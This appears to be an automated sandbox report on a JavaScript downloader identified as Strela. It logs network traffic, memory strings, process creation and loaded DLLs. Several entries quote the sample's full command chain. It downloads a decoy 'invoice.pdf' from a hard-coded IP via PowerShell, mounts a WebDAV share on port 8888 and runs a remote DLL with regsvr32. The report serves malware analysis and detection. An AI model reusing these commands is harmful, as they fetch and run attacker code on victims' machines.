Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2047794921.000001E8DF386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2105899461.0000015835D5B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2106553967.0000015835D28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2106553967.0000015835D28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3334472009.0000019046290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2105979773.0000019046060000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6616, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 13134167581645321294.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3660:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m5dxudua.efa.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 13134167581645321294.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13134167581645321294.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1740,i,8706467491395419620,10686934641239269085,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1740,i,8706467491395419620,10686934641239269085,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
